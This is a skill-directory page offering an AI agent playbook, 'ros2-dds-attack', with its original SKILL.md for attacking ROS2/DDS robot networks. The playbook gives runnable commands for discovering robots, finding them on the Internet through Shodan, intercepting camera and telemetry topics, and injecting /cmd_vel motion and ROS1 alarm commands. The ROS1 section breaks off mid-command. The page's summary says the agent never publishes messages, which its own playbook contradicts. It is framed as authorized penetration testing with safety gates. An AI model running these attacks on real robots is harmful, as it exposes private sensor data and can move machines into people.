ros2-dds-attack
What it does
This guide covers security checks for ROS2 robot networks, which share sensor and control messages over DDS. It is for robotics teams and testers with explicit approval, since messages can affect physical robots.
When to use it
- ✓When a robotics team wants to check whether its robot network accepts traffic from any device on the same network.
- ✓When an authorized assessment needs to list the topics a robot publishes.
- ✓When a robot is in an active environment and any message could cause physical harm.
Skill link
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/iot/ros2-dds-attack/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agent’s skills folder.
Example of what to ask your AI
“Our robots use ROS2 on a shared network. Can you check which topics are visible to other devices, without sending any commands?”
5 new skills a week. 1 minute to read.
How it works
The agent checks network multicast settings, lists visible topics and nodes using passive observation, and reports what other devices could read. It does not publish messages.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
ROS2 / DDS Attack Playbook
Authorized use only. ROS2 engagement requires explicit RoE scoping the robot platform as in-scope. Message injection on a live robot can cause physical harm. Confirm
safety_critical_confirmed=truein the active OPPLAN before any publish/inject step.
Background
ROS2 (Robot Operating System 2) uses DDS (Data Distribution Service) as its transport layer. By default, DDS operates in multicast discovery mode on the local network segment with no authentication and no encryption. Any host on the same subnet can enumerate all nodes and topics, subscribe to sensor streams, and publish commands to actuators. CAI's research on the Unitree G1 humanoid robot (2025) confirmed 20+ exposed ROS2/DDS topics carrying audio, video, GPS, and motor telemetry over an unauthenticated DDS domain.
Phase 1 — Discovery
Network prerequisites
ROS2 DDS discovery uses UDP multicast (239.255.0.1, port 7400 by default for Fast-DDS; 239.255.0.2 for CycloneDDS). The attacker machine must be on the same Layer-2 segment or the network must pass multicast.
# Verify multicast reachability
ip route show | grep -i multicast
ping -c 3 239.255.0.1
# Passive DDS traffic capture (identify domain IDs in use)
sudo tshark -i <iface> -Y rtps -T fields \
-e ip.src -e ip.dst -e rtps.domain_id -e rtps.guid_prefix \
-l 2>/dev/null | sort -u | head -40
ROS2 node and topic enumeration
If the attacker can install ros2 CLI tools (available in a Docker container
on the attacker host — no robot-side access required):
# Pull a minimal ROS2 humble image
docker run --rm --net=host \
ros:humble \
bash -c "source /opt/ros/humble/setup.bash && ros2 node list && ros2 topic list -t"
Without Docker, use the raw DDS discovery sniffer ddsspy or rtpspy:
# rclpy-based passive enumeration (Python, no ROS2 install on attacker)
pip install cyclonedds # pure-Python DDS implementation
python3 - <<'EOF'
import cyclonedds.core, cyclonedds.domain, cyclonedds.topic
import time
dp = cyclonedds.domain.Domain(0) # domain_id=0 is default
sub = cyclonedds.core.Subscriber(dp)
# List discovered topics after 10s passive window
time.sleep(10)
for t in dp.lookup_topicdescriptions():
print(t.name, t.type_name)
EOF
Shodan / Censys pivot (remote assessment)
Shodan indexes open DDS / RTPS ports. Query for exposed ROS2 stacks reachable from the Internet (rare but documented in robotics fleets):
shodan search 'port:7400 product:"RTPS"'
Phase 2 — Telemetry Interception
Subscribe to any topic without credentials:
docker run --rm --net=host ros:humble \
bash -c "source /opt/ros/humble/setup.bash && \
ros2 topic echo /camera/image_raw --no-arr | head -50"
# Capture raw DDS traffic for offline analysis
sudo tcpdump -i <iface> -w /tmp/ros2_capture.pcap \
'udp and (port 7400 or port 7401 or portrange 7410-7500)'
Topics of particular interest on robotic platforms:
| Topic pattern | Content |
|---|---|
/cmd_vel |
Velocity commands (Twist msg — direct actuator control) |
/joint_states |
Motor encoder data |
/camera/* |
Camera streams |
/gps/fix or /NavSatFix |
GPS telemetry |
/rosout |
System log (reveals software versions, errors) |
/tf / /tf_static |
Coordinate transform tree (reveals robot geometry) |
/diagnostics |
Hardware diagnostics |
Phase 3 — Message Injection (GATED — write-scope only)
STOP. Confirm
safety_critical_confirmed=true+ operator signature at/workspace/safety-attestation.txtbefore executing any publish command. A single malformed/cmd_velcan drive a robot into a person or off a ledge.
# Publish a zero-velocity stop command (safest inject for PoC)
docker run --rm --net=host ros:humble \
bash -c "source /opt/ros/humble/setup.bash && \
ros2 topic pub --once /cmd_vel geometry_msgs/msg/Twist \
'{linear: {x: 0.0}, angular: {z: 0.0}}'"
# For full PoC with a non-zero command (requires explicit PoC approval):
# ros2 topic pub --once /cmd_vel geometry_msgs/msg/Twist \
# '{linear: {x: 0.1}, angular: {z: 0.0}}'
MiR (Mobile Industrial Robot) ROS1 variant
MiR robots run ROS1 (not ROS2). The attack surface is the same but uses
rostopic / rosnode instead of ros2:
export ROS_MASTER_URI=http://<robot_ip>:11311
export ROS_IP=<attacker_ip>
rostopic list
rostopic echo /robot_state
# Inject alarm trigger
rostopic pub /mir_cmd_
FAQ
What is DDS?
It is the transport layer ROS2 uses to send messages between robot components.
Is discovery safe?
Passive discovery is the first step, and the guide says publishing or injection needs safety confirmation.
Why is this a physical risk?
The guide notes that message injection on a live robot can cause physical harm.
Details
Original description by the author
ROS2/DDS network attack: unauthenticated topic enumeration, message injection, and telemetry interception against robotic platforms and autonomous systems.
Popularity
- GitHub stars
- 6.5k
- Ranking position
- #14101
- License
- Apache-2.0
- Updated
- 11/1/2026
Comments
- …
More skills from this repository
detector-overview
6.5kHelps your agent read code that a scanner flagged and decide which flagged spots are real security bugs and which are false alarms.
exploiter-overview
6.5kHelps your agent join several confirmed security weaknesses into one test chain and check how far that chain could reach.
llm-redteam-overview
6.5kHelps your agent find the right AI red-team guide for a test, covering 15 tactic groups from prompt injection to model abuse.
aatmf-t01-prompt-injection
6.5kExplains prompt injection, where hidden instructions try to override an AI system, so security testers can check for it.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.